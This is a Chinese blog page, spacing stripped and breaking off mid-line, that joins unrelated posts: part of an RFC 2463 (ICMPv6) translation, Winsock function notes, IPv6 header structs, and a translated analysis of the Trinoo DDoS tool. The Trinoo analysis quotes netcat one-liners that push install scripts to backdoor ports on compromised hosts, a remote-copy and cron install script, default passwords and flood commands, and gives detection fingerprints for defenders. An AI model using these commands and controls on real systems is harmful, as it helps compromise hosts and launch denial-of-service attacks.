了格式，更新了參考。版本2-00-在信息報文中應用了比率控制。-在組管理ICMP報文中刪除了2.4節(jié)。-刪除了對IGMP概述和第一節(jié)的參考。-更新了其它IPv6文檔的參考。-刪除了對RFC_1112概述，第一節(jié)，第一節(jié)和3.2節(jié)中RFC-1119的參考。-加入了安全一節(jié)。-加入了附錄A——改變。完整的版權聲明Copyright(C)TheInternetSociety(1998).AllRightsReserved.Thisdocumentandtranslationsofitmaybecopiedandfurnishedtoothers,andderivativeworksthatcommentonorotherwiseexplainitorassistinitsimplementationmaybeprepared,copied,publishedanddistributed,inwholeorinpart,withoutrestrictionofanykind,providedthattheabovecopyrightnoticeandthisparagraphareincludedonallsuchcopiesandderivativeworks.However,thisdocumentitselfmaynotbemodifiedinanyway,suchasbyremovingthecopyrightnoticeorreferencestotheInternetSocietyorotherInternetorganizations,exceptasneededforthepurposeofdevelopingInternetstandardsinwhichcasetheproceduresforcopyrightsdefinedintheInternetStandardsprocessmustbefollowed,orasrequiredtotranslateitintolanguagesotherthanEnglish.

ThelimitedpermissionsgrantedaboveareperpetualandwillnotberevokedbytheInternetSocietyoritssuccessorsorassigns.Thisdocumentandtheinformationcontainedhereinisprovidedonan"ASIS"basisandTHEINTERNETSOCIETYANDTHEINTERNETENGINEERINGTASKFORCEDISCLAIMSALLWARRANTIES,EXPRESSORIMPLIED,INCLUDINGBUTNOTLIMITEDTOANYWARRANTYTHATTHEUSEOFTHEINFORMATIONHEREINWILLNOTINFRINGEANYRIGHTSORANYIMPLIEDWARRANTIESOFMERCHANTABILITYORFITNESSFORAPARTICULARPURPOSE.針對因特網協議第六版（Ipv6）的因特網控制報文協議（ICMPv6）規(guī)RFC2463—ternetControlMessageProtocol(ICMPv6)fortheInternet范ProtocolVersion6(IPv6)Specification11RFC文檔中文翻譯計劃-作者：kyohiroyuki2006年03月30日，星期四15:39回復（1）|引用（0）加入博采^WindowsSocket簡介WindowsSocket簡介針對因特網協議第六版（Ipv6）的因特網控制報文協議（ICMPv6）規(guī)WindowsSocket簡介這篇文章出自bugfree/CSDN平臺：VC6WindowsXP簡介：—Windows的Socket函數有許多，我沒有做詳細介紹，這里的函數都是簡要說明其用途，詳細用法請參考MSDN.這里的主要目的是為了后面的三個應用服務.函數說明：WSAStartup函數初始化Winsock［聲明］intWSAStarup(WORDwVersionRequested,LPWSADATAlpWSAData);［參數］wVersionRequested-要求使用Winsock的最低版本號lpWSAData-Winsock的詳細資料［返回值］當函數成功調用時返回0失敗時返回非0的值---socket函數用于生成socket(soketDescriptor)［聲明］SOCKETsocket(intaf,inttype,intprotocol);［參數］af-地址家族(通常使用:AF_INET)type-socket的種類SOCK_STREAM:用于TCP協議SOCK_DGRAM:用于UDP協議protocol-所使用的協議［返回值］當函數成功調用時返回一個新的SOCKET(SocketDescriptor)失敗時返回INVALID_SOCKET.---inet_addr函數地址轉換，把"A.B.C.D"的IP地址轉換為32位長整數［聲明］unsignedlonginet_addr(constcharFAR*cp);［參數］cp-指向IP地址字符串的指針［返回值］當函數成功調用時返回用32位整數表示的IP地址失敗時返回INADDR_NONE.---gethostbyname函數從主機名獲取主機信息.［聲明］structhostentFAR*gethostbyname(constcharFAR*name);［參數］name-指向主機名字符串的指針［返回值］當函數成功調用時返回主機信息失敗時返回NULL(空值)recv函數利用Socket進行接受數據.［聲明］intrecv(SOCKETs,charFAR*buf,intlen,intflags);［參數］s-指向用Socket函數生成的SocketDescriptorbuf-接受數據的緩沖區(qū)(數組)的指針len-緩沖區(qū)的大小flag-調用方式(MSG_PEEK或MSG_OOB)［返回值］成功時返回收到的字節(jié)數.如果連接被中斷則返回0失敗時返回SOCKET_ERRORsendto函數發(fā)送數據.［聲明］intsendto(SOCKETs,constcharFAR*buf,intlen,intflags,conststructsockaddrFAR*to,inttoken);［參數］s-指向用Socket函數生成的SocketDescriptorbuf-接受數據的緩沖區(qū)(數組)的指針len-緩沖區(qū)的大小flag-調用方式(MSG_DONTROUTE,MSG_OOB)to-指向發(fā)送方SOCKET地址的指針token-發(fā)送方SOCKET地址的大小［返回值］成功時返回已經發(fā)送的字節(jié)數.失敗時返回SOCKET_ERROR-作者：kyohiroyuki2006年03月30日，星期四15:08回復（1）|引用（0）加入博采?自定義IP頭的方法-作者：kyohiroyuki2006年03月30日，星期四14:56回復（0）|引用（0）加入博采?IPv6報頭，IPv6擴展頭，ICMPv6報頭的數據結構的定義IPv6報頭，IPv6擴展頭，ICMPv6報頭的數據結構的定義根據RFC1883定義typedefstruct_IPv6Hdr{u_int4_tip_ver;//IP版本號u_int8_tpriority;〃包優(yōu)先級u_int20_tflowlabel;〃流標簽u_int16_tpayloadlength;//負載長度u_int8_tnextheader;〃下一頭u_int8_thoplimit;〃跳數限制structin6_addrip_src;〃源IP地址structin6_addrip_dst;//目的IP地址}IPv6Hdr;u_int8_tnextheader;〃下一頭u_int8_thdrextlen;〃頭長度structoptoptions;//}IPv6hopbyhopHdr;typedefstruct_IPv6RouHdr〃選路頭{u_int8_tnextheader;〃下一頭u_int8_thdrextlen;//頭長度u_int8_troutingtype;//u_int8_tsegmentsleft;//structtyspdatatype_specificdata;//}IPv6RouHdr;typedefstruct_IPv6FraHdr〃分段頭{TOC\o"1-5"\h\zu_int8_tnextheader;//u_int8_treserved;//u_int13_tfragmentoffset;//u_int2_tres;//u_int1_tmflag;//u_int32_tidentification;//}IPv6FraHdr;u_int8_tnextheader;〃下一頭u_int8_thdrextlen;〃頭長度structoptoptions;//}IPv6DesHdr;根據RFC1826定義typedefstruct_IPv6AutHdr//身份驗證頭{u_int8_tnextheader;u_int8_tlength;u_int16_treserved;u_int32_tspi;〃安全參數索引structauthdataauthenticationdata;}IPv6AutHdr;根據RFC18271829定義typedefstruct_IPv6ESPHdr//ESP頭{u_int32_tspi:structoptrdataopaquetransformdata;〃與具體的加解密算法有關，長度可變}IPv6ESPHdr;根據RFC18852463定義u_int8_ttype:u_int8_tcode;u_int16_tchecksum;union(u_int32_tmtu_or_pointer;//出錯消息(errormessage)structidseq〃信息消息(informationmessage){u_int16_tid;u_int16_tseq;}idseq;}ICMPv6Hdr;存在一個問題：對于可變長度的數據結構如何定義？-作者：kyohiroyuki2006年03月28日，星期二09:25回復(0)|引用(0)加入博采?Trinoo的官方分析DDoS攻擊工具——Trinoo分析(1)2005-11-2401:17出處:ChinaITLab簡介本文是對拒絕服務攻擊工具包trinoo中主/從程序服務器的一些分析。Trinoo守護程序的二進制代碼包最初是在一些Solaris2.x主機中發(fā)現的，這些主機是被攻擊者利用RPC服務安全漏洞”statd”、"cmsd"和"ttdbserverd”入侵的。關于這些漏洞的詳細資料請參閱CERT事件記錄99-04：

/incident_notes/IN-99-04.html最初的trinoo守護程序來源于某些基于UDP協議和有訪問控制的遠程命令shell,并很有可能附帶有能自動記錄的嗅探器（sniffer）。在研究這個工具包的過程中，捕獲到了Trinoo攻擊網絡的安裝過程及一些源代碼。我們就是利用這些捕獲到的源代碼進入了深入的分析。對這些源代碼的任何修改，如提示、口令、命令、TCP/UDP端口號或所支持的攻擊方法、簽名和具體功能，都可能使分析的結果與本文不同。該守護程序是在Solaris2.5.1和RedHatLinux6.0上編譯并運行。主服務器（master）在RedHatLinux6.0上編譯和運行。但也許守護程序和主服務器都可在其它同類平臺中使用。Trinoo網絡可能包含幾百、甚至幾千臺已被入侵的互聯網主機組成。這些主機很可能都被裝上了各種”后門”以方便再次進入系統(tǒng)。在1999年8月17日，一個由至少227臺主機（其中114臺屬于Internet2主機）組成的trinoo網絡攻擊了位于明尼蘇達（Minnessota）大學的一臺主機，其結果是該主機網絡崩潰超過兩天。而在調查這次攻擊期間，又有至少16臺其它主機被攻擊，其中包括了一些美國以外的主機。（請參閱附錄D以了解此次trinoo攻擊的報告。攻擊過程一次典型的攻擊過程很可能是這樣的：1）一個盜取來的帳號被用于編譯各種掃描工具、攻擊工具（如緩沖區(qū)溢出程序）、rootkit和sniffer,trinoo守護程序、主服務器、入侵主機、目標主機清單等等。這個系統(tǒng)往往是一些擁有很多用戶、存在管理漏洞和具有高速連接速率（以進行文件傳輸）的大型主機系統(tǒng)。2）然后對一個大范圍的網絡進行掃描以確定潛在的入侵目標。最有可能的是那些可能存在各種遠程緩沖區(qū)溢出漏洞的主機，如wu-ftpd、RPC服務（cmsd,statd,ttdbserverd,amd）等。這些主機的操作系統(tǒng)最好是SunSolaris2.x和Linux，以便充分利用各種現成的rootkits和后門程序等。如果是其它系統(tǒng)則可用來保存工具和記錄。3）在得到入侵主機清單后，編寫實現入侵攻擊、監(jiān)聽TCP端口（通常為1524”ingreslock"）和連接到該端口以確定入侵成功的腳本程序。或者通過發(fā)送電子郵件到一個免費WEB郵箱以確認已入侵該主機。

入侵完成后將產生一個”被控制”主機清單，這些主機將被用于放置后門、sniffer或trinoo守護程序或trinoo主服務器。4）從已入侵系統(tǒng)清單中選出滿足建立trinoo網絡需要的主機，放置已編譯好的trinoo守護程序。5）最后，運行DoS攻擊腳本，該腳本根據上面建立的被入侵主機清單，生成另外的腳本程序，在后臺以最快的速度自動安裝。腳本使用"netcat"將shell腳本發(fā)送到被入侵主機的1524/tcp端口。./trin.sh|nc128.aaa.167.2171524&./trin.sh|nc128.aaa.167.2181524&./trin.sh|nc128.aaa.167.2191524&./trin.sh|nc128.aaa.187.381524&./trin.sh|nc128.bbb.2.801524&./trin.sh|nc128.bbb.2.811524&./trin.sh|nc128.bbb.2.2381524&./trin.sh|nc128.ccc.12.221524&./trin.sh|nc128.ccc.12.501524&其中的"trin.sh"腳本產生如下輸出:echo"rcp:leaf/usr/sbin/rpc.listen”echo"echorcpisdonemovingbinary"echo"chmod+x/usr/sbin/rpc.listen"

echo"echolaunchingtrinooecho"/usr/sbin/rpc.listen"cron"echo"crontabcron"echo"echolaunched"echo"exit"只要時常檢查crontab文件，可以輕易監(jiān)測到該主機是否已被trinoo侵入。在其它系統(tǒng)還發(fā)現了另一種方法：守護程序的名字被改為"xterm”，然后通過腳本執(zhí)行它。cd/var/adm/.1PATH=.:$PATHexportPATH&1在這個守護程序中通過運行腳本來完成trinoo網絡的建立是完全有可能的。更隱蔽的方法是讓trinoo守護程序/主服務器只在某個給定時間才被喚醒運行，并打開監(jiān)聽的TCP或UDP端口。整個自動安裝過程使攻擊者在極短的時間內，利用大量的被入侵主機建立了拒絕服務攻擊網絡。6）作為一種選擇，rootkit常常被安裝到系統(tǒng)中以隱藏攻擊程序、文件和網絡連接。這對運行主服務器的系統(tǒng)更為重要，因為它是trinoo網絡的核心部份。（注：在許多情況下，主服務器往往被安裝在互聯網服務供應商（ISP）的域名服務器上，DNS服務器大量的通訊流量、大量的TCP/UDP連接，將為隱蔽trinoo的網絡連接、攻擊過程和文件存放提供非常有利的幫助。（此外，除非能確定在域名服務器中存在拒絕服務工具的行為，否則系統(tǒng)管理員一般不會輕易中斷系統(tǒng)服務進行安全檢查。）

Rootkits也可能在安裝了sniffer的系統(tǒng)中使用，例如"hunt"（TCP/IP會話監(jiān)視器）等可直接竊聽網絡通訊細節(jié)的程序。這樣就不用通過遠程緩沖區(qū)溢出程序進入系統(tǒng)了。：）要想得到更多關于rootkits的資料，請訪問以下網址：/dittrich/faq/rootkits.faq目標主機Trinoo網絡由主服務器（master.c）和trinoo守護程序（ns.c）組成。一個典型的trinoo網絡結構如下：攻擊者常常控制一個或多個”主服務器”服務器，而每一個”主服務器”服務器控制多個"守護程序”（我們可以稱之為廣播主機”Bcast/broadcast”）。所有接收到指令的守護程序都使用攻擊數據包同時攻擊一個或多個目標主機系統(tǒng)。Trinoo如何實現這個功能呢？是攻擊者與主服務器通過"telnet”協議建立TCP連接，并通過發(fā)送帶有口令的攻擊指令，實現大范圍、大流量、并發(fā)性的拒絕服務攻擊。通訊端口攻擊者到主服務器：27665/TCP主服務器到守護程序：27444/UDP守護程序到主服務器：31335/UDPTrinoo主服務器的遠程控制是通過在27665/TCP端口建立TCP連接實現的。在連接建立后時，用戶必須提供正確的口令（"betaalmostdone”）。如果在已有人通過驗證時又有另外的連接建立，則一個包含正在連接IP地址的警告信息會發(fā)送到已連接主機（程序提供的IP地址似乎有錯，但警告信息仍被發(fā)送）。毫無疑問地，這個功能最終的完整實現將能給予攻擊者足夠的時間在離開之前清除痕跡。從trinoo主服務器到守護程序的連接是在27444/UDP端口上實現。命令行格式如下：arglpasswordarg2其中缺省的口令是"l44adsl”，只有包含此口令子串"144"的命令行會被執(zhí)行。

從trinoo守護程序到主服務器的連接是在31335/UDP端口上實現。當守護程序啟動時，它將發(fā)送初始化字符串”*HELLO*”到主服務器。主服務器會(通過"sniffit"程序捕獲)記錄并維護已激活的守護程序清單：UDPPacketID(from_IP.port-to_IP.port):.32876-.3133545E00.00.23#B1.5D]40@00.F8.11.B9.27.C0.A8.00.01.0A.00.00.01.80.6Cl7Az67g00.0F.06.D4.2A*48H45E4CL4CL4FO2A*如果trinoo主服務器通過27444/UDP端口向一個守護程序發(fā)送"png"命令，該守護程序將通過31335/UDP端口向發(fā)送"png"命令的主機返回字符串"PONG"：UDPPacketID(from_IP.port-to_IP.port):.1024-.2744445E00.00.27'1A.AE.00.00.40@11.47GD4.0A.00.00.01.C0.A8.00.01.04.00.6Bk34400.13.2F/B7.70p6En67g206Cl34434461a64d73s6ClUDPPacketID(from_IP.port-to_IP.port):.32879-.3133545E00.00.2013.81.40@00.F8.11.57W07.C0.A8.00.01.0A.00.00.01.80.6Fo7Az67g00.0C.4EN24$50P4FO4EN47G口令保護主服務器和守護程序都有口令保護，以阻止系統(tǒng)管理員（或其他黑客組織）得到該trinoo網絡的控制權。口令使用crypt（）函數加密。這是一種對稱式加密方式。經過加密的口令保存在已編譯的主服務器和守護程序中，并與以明文方式在網絡中傳輸的口令比較（目前的版本并沒有加密通訊會話，因此不難截獲在主服務器TCP控制會話中傳送的明文口令。初始化運行時，出現主守護進程提示符，將等待輸入口令。如果口令不正確，程序退出;如果口令正確，提示進程正在運行，然后產生子進程在后臺運行，最后退出：

#./master??wrongpassword#?.?#./master??gOravetrinoov1.07d2+f3+c[Sep261999:10:09:24]#與此類似地，當連接到遠程命令端口(27665/TCP)時，你也必須輸入口令:attacker$telnet27665TryingConnectedtoEscapecharacteris'△]'.kwijiboConnectionclosedbyforeignhost.■■■attacker$telnet27665TryingConnectedtoEscapecharacteris'△]'.betaalmostdonetrinoov1.07d2+f3+c..[rpm8d/cb4Sx/]

從主服務器發(fā)送到trinoo守護程序的某些命令也會有口令保護。這些口令在主服務器與守護程序間又明文形式傳送。缺省的口令如下："l44adsl"trino守護程序口令"gOrave"trinoo主服務器啟動（提示"??"）"betaalmostdone"trinoo主服務器遠程接口口令"killme"trinoo主服務器控制指令"mdie"驗證口令主服務器命令rinoo主服務器支持以下命令：die關閉主服務器quit退出主服務器登錄mtimerN設置DoS定時器為N秒。N的取值范圍從1到1999秒。如果N<1，2000，則使用缺省值500。dosIPDoS攻擊目標IP地址。命令"aaa144adslIP"被發(fā)送到每一個守護程序（Bcast主機），通知它們攻擊指定的IP地址。mdiepass如果口令驗證通過，則停止所有廣播（Bcast）主機。命令"d1e144adsl”被發(fā)送到每一個廣播主機，使它們停止。此命令需要一個單獨的口令。mping發(fā)送PING命令"png144adsl"到每一臺已激活的廣播主機。mdos向每一個廣播主機發(fā)送多DoS攻擊命令（"xyz144adsl123:ip1:ip2:ip3”）。

info打印版本和編譯信息。如:Thisisthe"trinoo"AKADoSProjectmasterserverversionv1.07d2+f3+cCompiled15:08:41Aug161999msize設置DoS攻擊時使用的數據包緩沖區(qū)大小。nslookuphost對指定的主機進行域名查詢。killdead嘗試清除死鎖的廣播主機。首先向所有已知的廣播主機發(fā)送"shil44adsl”命令。（任何處于激活狀態(tài)的守護程序會回送初始化字符串”*HELLO*”。）然后（通過-b參數）修改廣播主機清單文件名字。這樣當"*HELLO*"包被接收后能夠重新初始化。usebackup切換到由"killdead"命令建立的廣播主機備份文件。bcast列出所有激活的廣播主機。help[cmd]服務器或命令的幫助信息，mstop試圖停止一個DoS攻擊（此現在尚未實現，但在help命令中列出。）守護程序命令Trinoo守護程序支持以下命令：aaapassIP攻擊指定的IP地址。按固定的時間間隔（缺省為120秒，或"bbb"命令設定的1-1999值）向指定IP地址的隨機UDP端口（0-65534）發(fā)送UDP數據包。數據包大小由"rsz"命令指定，缺省為1000字節(jié)。bbbpassN設置DoS攻擊的時間限制（單位：秒）。

shipass通過31335/UDP端口向已編譯到文件中的主服務器發(fā)送字符串”*HELLO*”。pngpass通過31335/UDP端口向主服務器發(fā)送字符串"PONG”。diepass關閉trinoo守護程序rszN設置DoS攻擊的緩沖區(qū)大小為N字節(jié)°（Trinoo守護程序調用malloc（）分配該大小的緩沖區(qū)，然后發(fā)送隨機的數據包內容進行攻擊。）xyzpass123:ip1:ip2:ip3多個DoS攻擊。類似"aaa"命令，但可以同時攻擊多個IP地址。工具特征最常使用的安裝trinoo守護程序的方法是在系統(tǒng)中添加crontab項，以使守護程序能在每分鐘均在運行。檢查crontab文件會發(fā)現如下內容：*****/usr/sbin/rpc.listen主服務器程序會建立一個包含廣播主機清單的文件（缺省文件名為"..."）。如果使用了"killdead”，向"..."文件中的所有守護程序發(fā)送"shi"命令會使這些守護程序向所有的主服務器發(fā)送初始化字符串"*HELLO*"。然后這個清單文件被改名（缺省為”...-b”），而根據每一個發(fā)送了"*HELLO*"字符串（激活狀態(tài)）的守護程序生成新的清單文件。源代碼（"master.c”）包含以下程序行：/*cryptkeyencryptedwiththekey'bored'(sohexeditcannotgetkeyeasily?)commentoutfornoencryption...*/#defineCRYPTKEY"ZsoTN.cq4X31”

如果程序編譯時指定了解CRYPTKEY變量，則廣播主機的IP地址將使用Blowfish算法加密：ls-l-b-rw1rootroot25Sep2614:46...-rw1rootroot50Sep2614:30...-bcat...JPbUc05Swk/0gMvui18BrFH/cat...-baE5sK0PIFws0Y0EhH02fLVK.JPbUc05Swk/0gMvui18BrFH/假設沒有使用rootkit隱藏進程，主服務器可以顯示出以下網絡套接字特征指紋（當然，程序的名稱和路徑名會有所不同。）：#netstat-a--inetActiveInternetconnections(serversandestablished)ProtoRecv-QSend-QLocalAddressForeignAddressStatetcp00*:27665*:*LISTEN...udp00*:31335*:*#lsof|egrep":31335|:27665"master1292root3uinet2460UDP*:31335master1292root4uinet2461TCP*:27665(LISTEN)#lsof-p1292COMMANDPIDUSERFDTYPEDEVICESIZENODENAMEmaster1292rootcwdDIR3,1102414356/tmp/...master1292rootrtdDIR3,110242/master1292roottxtREG3tmp/.../mastermaster1292rootmemREG3,134220628976/lib/ld-2.1.1.somaster1292rootmemREG3,16387829116/lib/libcrypt-2.1.1.somaster1292rootmemREG3,1401668329115/lib/libc-2.1.1.somaster1292root0uCHR4,12967/dev/tty1master1292root1uCHR4,12967/dev/tty1master1292root2uCHR4,12967/dev/tty1master1292root3uinet2534UDP*:31335master1292root4uinet2535TCP*:27665(LISTEN)而運行了守護程序的系統(tǒng)會顯示以下特征指紋:#netstat-a--inetActiveInternetconnections(serversandestablished)ProtoRecv-QSend-QLocalAddressForeignAddressStateudp00*:1024*:*udp00*:27444*:*???#Isof|egrep":27444"ns1316root3uinet2502UDP*:27444#Isof-p1316COMMANDPIDUSERFDTYPEDEVICESIZENODENAMEns1316rootcwdDIR3,11024153694/tmp/...ns1316rootrtdDIR3,110242/ns1316roottxtREG3,16156153711/tmp/.../nsns1316rootmemREG3,134220628976/lib/ld-2.1.1.sons1316rootmemREG3,16387829116/lib/libcrypt-2.1.1.sons1316roo